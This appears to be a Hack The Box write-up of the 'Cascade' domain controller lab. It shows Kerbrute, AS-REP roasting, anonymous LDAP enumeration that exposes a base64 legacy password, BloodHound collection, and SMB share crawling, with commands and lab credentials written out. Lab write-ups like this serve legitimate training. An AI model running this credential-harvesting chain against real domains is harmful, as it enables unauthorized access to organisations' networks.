Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP anonymous binds are enabled, and enumeration yields the password for user r.thompson, which gives access to a TightVNC registry backup. The backup is decrypted to gain the password for s.smith. This user has access to a .NET executable, which after decompilation and source code analysis reveals the password for the ArkSvc account. This account belongs to the AD Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user accounts is found to contain a hardcoded password, which can be reused to login as the primary domain administrator.
I want to check that users I found are valid on the domain, So I will verify this with Kerbrute
11/15 valid usernames, Let's attempt ASREP-Roasting attack against these users
I got no hash from this attack, Let's switch to ldap protocol
LDAP Enumeration
I will use ldapsearch with the following flags
-x simple authentication
-b principal name
-s scope
sub subtree
'*' all
The output was too big, So I searched for Users section for anything might be helpful. there were a lot of users details but this user below has a different record cascadeLegacyPwd .
It's a base64 encoding , Let's decode it in our terminal
It might be a password for that user, Let's check with crackmapexec
I also want to see if we can access the machine with winRM , but It failed
I will continue enumerate the domain with the credentials I found
Initial Access
Bloodhound-python
Fire up bloodhound.py and prepare the zip file for BloodHound GUI
Upload the data to bloodhound
SMB Credentialed Enumeration
List out the shares we have access to and In the next command I will crawl to the shares with Spider_plus Module
These files took my attention, So I downloaded them to my kali machine for examination
There is user TempAdmin and we need to find his password.
This is encrypted password for VNC SERVER, So we need to decrypt it
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ impacket-GetNPUsers cascade.local/ -dc-ip $ip -no-pass -request -format hashcat -usersfile users.lst
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ ldapsearch -H ldap://$ip -x -b "DC=cascade,DC=local" -s sub '*'
<snip>
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
<Snip>
cascadeLegacyPwd: clk0bjVldmE=
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ bloodhound-python -u 'r.thompson' -p 'rY4n5eva' -ns $ip -d cascade.local -c all
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: casc-dc1.cascade.local
INFO: Found 18 users
INFO: Found 53 groups
INFO: Found 7 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: CASC-DC1.cascade.local
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ zip cascade.zip *.json
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ cat Meeting_Notes_June_2018.html
<snip>
<p>For anyone that missed yesterdays meeting (Im looking at
you Ben). Main points are below:</p>
<p class=MsoNormal><o:p> </o:p></p>
<p>-- New production network will be going live on
Wednesday so keep an eye out for any issues. </p>
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>
<p>-- The winner of the Best GPO competition will be
announced on Friday so get your submissions in soon.</p>
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ smbclient -U s.smith \\\\$ip\Audit$
smb: \> ls
. D 0 Wed Jan 29 13:01:26 2020
.. D 0 Wed Jan 29 13:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 16:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 13:00:20 2020
DB D 0 Tue Jan 28 16:40:59 2020
RunAudit.bat A 45 Tue Jan 28 18:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019
x64 D 0 Sun Jan 26 17:25:27 2020
x86 D 0 Sun Jan 26 17:25:27 2020
if (MyProject.Application.CommandLineArgs.Count != 1)
{
Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
return;
}
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ cat Meeting_Notes_June_2018.html
<snip>
Username is TempAdmin (password is the same as the normal admin account password). </p>
<snip>